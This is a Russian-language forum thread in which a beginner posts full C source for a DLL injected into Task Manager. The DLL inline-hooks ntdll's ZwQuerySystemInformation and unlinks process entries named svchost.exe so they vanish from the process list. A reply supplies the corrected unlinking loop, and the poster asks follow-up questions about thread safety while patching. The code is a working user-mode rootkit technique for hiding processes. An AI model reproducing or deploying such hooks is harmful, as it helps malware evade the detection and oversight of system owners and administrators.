Изучил тут перехват winapi-функций, и решил попробовать скрыть свой процесс в таскменеджере, путем перехвата MyZwQuerySystemInformation. Написал DLL, которую подгружаю в taskmgr, такого содержания: #include <windows.h> typedef LONG NTSTATUS; typedef LONG KPRIORITY; #define SystemProcessesAndThreadsInformation 5 #define STATUS_INFO_LENGTH_MISMATCH (0xC0000004) #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) typedef struct _CLIENT_ID { DWORD UniqueProcess; DWORD UniqueThread; } CLIENT_ID; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; typedef struct _VM_COUNTERS { SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; } VM_COUNTERS; typedef struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; LONG State; LONG WaitReason; } SYSTEM_THREADS, * PSYSTEM_THREADS; typedef struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; #if _WIN32_WINNT >= 0x500 IO_COUNTERS IoCounters; #endif SYSTEM_THREADS Threads[1]; } SYSTEM_PROCESSES, * PSYSTEM_PROCESSES; typedef struct tag_FARJMP { BYTE push; BYTE addr1; BYTE addr2; BYTE addr3; BYTE addr4; BYTE ret; } FARJMP; typedef struct tag_OLDDATA { DWORD dw; WORD w; } OLDDATA; FARJMP jmps; OLDDATA olddata; PROC pr; NTSTATUS _stdcall MyZwQuerySystemInformation(UINT cmd, PVOID pBuffer, ULONG cbBuffer, PULONG pulong) { NTSTATUS Status; PSYSTEM_PROCESSES info, prev; NTSTATUS (WINAPI * Zw)(UINT, PVOID, ULONG, PULONG); Zw=(NTSTATUS (WINAPI *)(UINT, PVOID, ULONG, PULONG))pr; WriteProcessMemory(GetCurrentProcess(), pr, &olddata, sizeof(olddata), NULL); Status=Zw(cmd, pBuffer, cbBuffer, pulong); WriteProcessMemory(GetCurrentProcess(), pr, &jmps, sizeof(jmps), NULL); if(cmd==SystemProcessesAndThreadsInformation && Status==STATUS_SUCCESS) { info=(PSYSTEM_PROCESSES)pBuffer; while(info->NextEntryDelta > 0) { prev=info; info=(PSYSTEM_PROCESSES)((LPBYTE)info+info->NextEntryDelta); CHAR szProcessName[MAX_PATH]; WideCharToMultiByte(CP_ACP, 0, info->ProcessName.Buffer, -1, szProcessName, MAX_PATH, NULL, NULL); if(lstrcmpi(szProcessName, "svchost.exe")==0) prev->NextEntryDelta=prev->NextEntryDelta+info->NextEntryDelta; } } return Status; } int WINAPI DllMain(HANDLE h, DWORD dwReason, LPVOID lp) { if (dwReason==DLL_PROCESS_ATTACH){ PROC myFunc=(PROC)MyZwQuerySystemInformation; BYTE *bt=(BYTE *)&myFunc; jmps.push=0x68; // push jmps.addr4=*(bt+3); jmps.addr3=*(bt+2); jmps.addr2=*(bt+1); jmps.addr1=*(bt); jmps.ret=0xC3; // ret pr=GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation"); DWORD rd; ReadProcessMemory(GetCurrentProcess(), pr, &olddata, sizeof(olddata), &rd); WriteProcessMemory(GetCurrentProcess(), pr, &jmps, sizeof(jmps), NULL); } return TRUE; } Перехват работает как-то странно - пытаюсь скрыть svchost.exe, и из пяти экземпляров процесса скрываются только три. В чем может быть проблема? Правильно я реализовал перехват? Еще одна странность - при перехвате функции и передаче управления на MyZwQuerySystemInformation, в ней не работают другие функции например Beep или MessageBox, с чем это может быть связано? Помогите разобраться, впервые в жизни занимаюсь перехватом функций и работаю с nativeapi.
if (info->NextEntryDelta!=0) { prev->NextEntryDelta=prev->NextEntryDelta+info->NextEntryDelta; info = prev; } else prev->NextEntryDelta = 0;
Спасибо за пример, работает. А рассказать подробнее о структуре и ответить на вопросы можно? И вот еще возник вопрос: потоки нужно останавливать при перезаписи функции, или можно воспользоваться критической секцией?